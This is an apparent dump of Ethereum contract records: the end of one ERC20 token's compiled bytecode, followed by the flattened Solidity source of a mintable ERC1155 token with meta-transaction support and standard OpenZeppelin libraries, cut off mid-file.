5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f99190611e75565b60405180910390a3505050565b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611d95565b60405180910390fd5b600860149054906101000a900460ff1615806112da5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061132e5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113435761133e8383836115ba565b6113e1565b600061135082601961084f565b90506007548161135e610598565b6113689190611fd1565b1061137c5761137784826113e6565b611381565b600090505b600061138e8360c861084f565b90506113bd85600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115ba565b6113de85858484876113cf9190611fd1565b6113d99190611fd1565b6115ba565b50505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90611dd5565b60405180910390fd5b61146282600083611839565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90611d35565b60405180910390fd5b81816114f49190611fd1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008282546115489190611fd1565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115ad9190611e75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561162a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162190611df5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611d15565b60405180910390fd5b6116a5838383611839565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561172b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172290611d75565b60405180910390fd5b81816117379190611fd1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117c79190611ef0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182b9190611e75565b60405180910390a350505050565b505050565b60008135905061184d816124ae565b92915050565b600081359050611862816124c5565b92915050565b600081359050611877816124dc565b92915050565b60008135905061188c816124f3565b92915050565b6000602082840312156118a457600080fd5b60006118b28482850161183e565b91505092915050565b6000602082840312156118cd57600080fd5b60006118db84828501611853565b91505092915050565b600080604083850312156118f757600080fd5b60006119058582860161183e565b92505060206119168582860161183e565b9150509250929050565b60008060006060848603121561193557600080fd5b60006119438682870161183e565b93505060206119548682870161183e565b92505060406119658682870161187d565b9150509250925092565b6000806040838503121561198257600080fd5b60006119908582860161183e565b92505060206119a185828601611868565b9150509250929050565b600080604083850312156119be57600080fd5b60006119cc8582860161183e565b92505060206119dd8582860161187d565b9150509250929050565b6000602082840312156119f957600080fd5b6000611a0784828501611868565b91505092915050565b600060208284031215611a2257600080fd5b6000611a308482850161187d565b91505092915050565b60008060408385031215611a4c57600080fd5b6000611a5a8582860161187d565b9250506020611a6b8582860161187d565b9150509250929050565b611a7e81612005565b82525050565b611a8d81612029565b82525050565b6000611a9e82611ed4565b611aa88185611edf565b9350611ab881856020860161206c565b611ac18161215e565b840191505092915050565b6000611ad9602383611edf565b9150611ae48261216f565b604082019050919050565b6000611afc602283611edf565b9150611b07826121be565b604082019050919050565b6000611b1f602283611edf565b9150611b2a8261220d565b604082019050919050565b6000611b42602683611edf565b9150611b4d8261225c565b604082019050919050565b6000611b65602483611edf565b9150611b70826122ab565b604082019050919050565b6000611b88602883611edf565b9150611b93826122fa565b604082019050919050565b6000611bab602183611edf565b9150611bb682612349565b604082019050919050565b6000611bce602583611edf565b9150611bd982612398565b604082019050919050565b6000611bf1602483611edf565b9150611bfc826123e7565b604082019050919050565b6000611c14601f83611edf565b9150611c1f82612436565b602082019050919050565b6000611c37602583611edf565b9150611c428261245f565b604082019050919050565b611c5681612055565b82525050565b611c658161205f565b82525050565b6000602082019050611c806000830184611a75565b92915050565b6000604082019050611c9b6000830185611a75565b611ca86020830184611a75565b9392505050565b6000604082019050611cc46000830185611a75565b611cd16020830184611a84565b9392505050565b6000602082019050611ced6000830184611a84565b92915050565b60006020820190508181036000830152611d0d8184611a93565b905092915050565b60006020820190508181036000830152611d2e81611acc565b9050919050565b60006020820190508181036000830152611d4e81611aef565b9050919050565b60006020820190508181036000830152611d6e81611b12565b9050919050565b60006020820190508181036000830152611d8e81611b35565b9050919050565b60006020820190508181036000830152611dae81611b58565b9050919050565b60006020820190508181036000830152611dce81611b7b565b9050919050565b60006020820190508181036000830152611dee81611b9e565b9050919050565b60006020820190508181036000830152611e0e81611bc1565b9050919050565b60006020820190508181036000830152611e2e81611be4565b9050919050565b60006020820190508181036000830152611e4e81611c07565b9050919050565b60006020820190508181036000830152611e6e81611c2a565b9050919050565b6000602082019050611e8a6000830184611c4d565b92915050565b6000604082019050611ea56000830185611c4d565b611eb26020830184611c4d565b9392505050565b6000602082019050611ece6000830184611c5c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611efb82612055565b9150611f0683612055565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f3b57611f3a6120d1565b5b828201905092915050565b6000611f5182612055565b9150611f5c83612055565b925082611f6c57611f6b612100565b5b828204905092915050565b6000611f8282612055565b9150611f8d83612055565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611fc657611fc56120d1565b5b828202905092915050565b6000611fdc82612055565b9150611fe783612055565b925082821015611ffa57611ff96120d1565b5b828203905092915050565b600061201082612035565b9050919050565b600061202282612035565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561208a57808201518184015260208101905061206f565b83811115612099576000848401525b50505050565b600060028204905060018216806120b757607f821691505b602082108114156120cb576120ca61212f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742073656e6420746f6b656e7320746f20746f6b656e20636f6e7460008201527f7261637400000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f746f74616c20737570706c792065786365656473206d696e20737570706c7900600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6124b781612005565b81146124c257600080fd5b50565b6124ce81612017565b81146124d957600080fd5b50565b6124e581612029565b81146124f057600080fd5b50565b6124fc81612055565b811461250757600080fd5b5056fea2646970667358221220d312839d4cee7c4fd3cdb5ef579d72e142c846244fa6555427dac2fc7580525064736f6c63430008040033
[ 38 ]
0xf37e6eBd1cDc07b4D2eD6CB867bEee33534e34DE
pragma solidity 0.6.6; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; contract AccessControlMixin is AccessControl { string private _revertMsg; function _setupContractId(string memory contractId) internal { _revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS")); } modifier only(bytes32 role) { require( hasRole(role, _msgSender()), _revertMsg ); _; } } pragma solidity 0.6.6; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } } pragma solidity 0.6.6; import {Initializable} from "./Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contractsa that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public pure returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } pragma solidity 0.6.6; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } pragma solidity 0.6.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EIP712Base} from "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, msg.sender, functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } pragma solidity 0.6.6; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {IERC1155} from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IMintableERC1155} from "./IMintableERC1155.sol"; import {NativeMetaTransaction} from "../../common/NativeMetaTransaction.sol"; import {ContextMixin} from "../../common/ContextMixin.sol"; import {AccessControlMixin} from "../../common/AccessControlMixin.sol"; contract DummyMintableERC1155 is ERC1155, AccessControlMixin, NativeMetaTransaction, ContextMixin, IMintableERC1155, Ownable { bytes32 public constant PREDICATE_ROLE = keccak256("PREDICATE_ROLE"); string internal baseMetadataURI; // Contract name string public name; // Contract symbol string public symbol; address private originCreator; constructor( string memory _name, string memory _symbol, string memory uri_ ) public ERC1155(uri_) { name = _name; symbol = _symbol; _setupContractId("DummyMintableERC1155"); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(PREDICATE_ROLE, _msgSender()); _initializeEIP712(uri_); baseMetadataURI = uri_; originCreator = msg.sender; } function collect(address _token) external { require(msg.sender == originCreator, "you are not admin"); if (_token == address(0)) { msg.sender.transfer(address(this).balance); } else { uint256 amount = IERC20(_token).balanceOf(address(this)); IERC20(_token).transfer(msg.sender, amount); } } function collectNFTs(address _token, uint256 _tokenId) external { require(msg.sender == originCreator, "you are not admin"); uint256 amount = IERC1155(_token).balanceOf(address(this), _tokenId); IERC1155(_token).safeTransferFrom( address(this), msg.sender, _tokenId, amount, "" ); } function mint( address account, uint256 id, uint256 amount, bytes calldata data ) external override only(PREDICATE_ROLE) { _mint(account, id, amount, data); } function mintBatch( address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external override only(PREDICATE_ROLE) { _mintBatch(to, ids, amounts, data); } function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()), "ERC1155: caller is not owner nor approved" ); _burnBatch(account, ids, values); } function _msgSender() internal view override returns (address payable sender) { return ContextMixin.msgSender(); } } import {IERC1155} from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; pragma solidity 0.6.6; interface IMintableERC1155 is IERC1155 { /** * @notice Creates `amount` tokens of token type `id`, and assigns them to `account`. * @dev Should be callable only by MintableERC1155Predicate * Make sure minting is done only by this function * @param account user address for whom token is being minted * @param id token which is being minted * @param amount amount of token being minted * @param data extra byte data to be accompanied with minted tokens */ function mint(address account, uint256 id, uint256 amount, bytes calldata data) external; /** * @notice Batched version of singular token minting, where * for each token in `ids` respective amount to be minted from `amounts` * array, for address `to`. * @dev Should be callable only by MintableERC1155Predicate * Make sure minting is done only by this function * @param to user address for whom token is being minted * @param ids tokens which are being minted * @param amounts amount of each token being minted * @param data extra byte data to be accompanied with minted tokens */ function mintBatch(address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC1155.sol"; import "./IERC1155MetadataURI.sol"; import "./IERC1155Receiver.sol"; import "../../GSN/Context.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substition, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri) public { _setURI(uri); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 